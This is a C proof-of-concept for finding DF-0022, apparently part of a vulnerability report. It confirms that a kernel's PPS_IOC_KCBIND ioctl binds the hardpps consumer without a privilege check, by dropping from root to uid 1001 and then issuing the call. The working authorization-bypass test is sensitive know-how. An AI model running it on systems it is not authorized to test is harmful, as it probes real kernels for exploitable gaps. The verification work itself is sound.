DF-0022 / kcbind_drop.c
/* * DF-0022 PoC (privilege-drop variant) - PPS_IOC_KCBIND missing privilege check. * * The finding (sys/kern/kern_clock.c:1680-1694) is a missing caps_priv_check * on the PPS_IOC_KCBIND ioctl *handler*, not on device open(). To prove the * ioctl does not check the caller's credential we must issue it under an * unprivileged credential. On this KVM guest the only attached PPS-capable * device is sio0 (/dev/ttyd0), which is also the serial console: the console * tty rejects opens from non-root sessions (EPERM) regardless of file mode, so * an unprivileged user cannot directly open it. (On a real PPS box the * pps(4) parallel-port driver creates /dev/pps0 mode 0644 - world openable - * so this open-gate issue does not arise there.) * * This program demonstrates the missing ioctl privilege check cleanly: root * opens the device (solely to clear the open-gate), then the process * permanently drops to maxx's uid/gid (1001/1001, not in wheel) via * setreuid/setregid, and ONLY THEN issues PPS_IOC_KCBIND. The ioctl's * privilege is evaluated against the *current thread's* credential * (caps_priv_check_self uses curthread->td_ucred). If the bind succeeds under * an unprivileged credential, the missing privilege check is confirmed. * * This is NOT a privilege escalation - it is a faithful test of whether the * ioctl handler checks the caller's privilege. Build as root, run as root: * * cc -o kcbind_drop kcbind_drop.c * ./kcbind_drop /dev/ttyd0 * * Expected on a PPS_SYNC kernel WITHOUT the fix: * [+] KCBIND succeeded under uid=1001 (privilege bypass) <- BUG * Expected on a PPS_SYNC kernel WITH the fix: * [-] KCBIND rejected under uid=1001: Operation not permitted (errno=1) */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/timepps.h> #include <fcntl.h> #include <stdio.h> #include <errno.h> #include <string.h> #include <unistd.h> #define TARGET_UID 1001 #define TARGET_GID 1001 int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/ttyd0"; /* Step 1: open as root (clears the console-tty open gate only). */ int fd = open(dev, O_RDWR | O_NONBLOCK); if (fd < 0) { perror("open (as root)"); return 2; } /* Step 2: permanently drop to maxx's credential. */ if (setregid(TARGET_GID, TARGET_GID) != 0) { perror("setregid"); return 2; } if (setreuid(TARGET_UID, TARGET_UID) != 0) { perror("setreuid"); return 2; } /* Drop all supplementary groups too. */ gid_t only = TARGET_GID; if (setgroups(1, &only) != 0) { perror("setgroups"); /* non-fatal: continue */ } printf("[*] now running as uid=%d euid=%d gid=%d\n", (int)getuid(), (int)geteuid(), (int)getgid()); /* Sanity: confirm we are NOT privileged. */ if (getuid() == 0 || geteuid() == 0) { fprintf(stderr, "[!] privilege drop failed; aborting\n"); return 2; } /* Step 3: issue PPS_IOC_KCBIND under the unprivileged credential. */ struct pps_kcbind_args kb; memset(&kb, 0, sizeof(kb)); kb.kernel_consumer = PPS_KC_HARDPPS; /* the only accepted value */ kb.edge = PPS_CAPTUREASSERT; /* in sio0's ppscap */ kb.tsformat = PPS_TSFMT_TSPEC; if (ioctl(fd, PPS_IOC_KCBIND, &kb) == 0) { printf("[+] KCBIND succeeded under uid=%d (privilege bypass) on %s\n", (int)getuid(), dev); printf("[+] hardpps() consumer bound with NO privilege check;\n" " pps->kcmode = PPS_CAPTUREASSERT.\n"); } else { printf("[-] KCBIND rejected under uid=%d: %s (errno=%d)\n", (int)getuid(), strerror(errno), errno); } close(fd); return 0; } |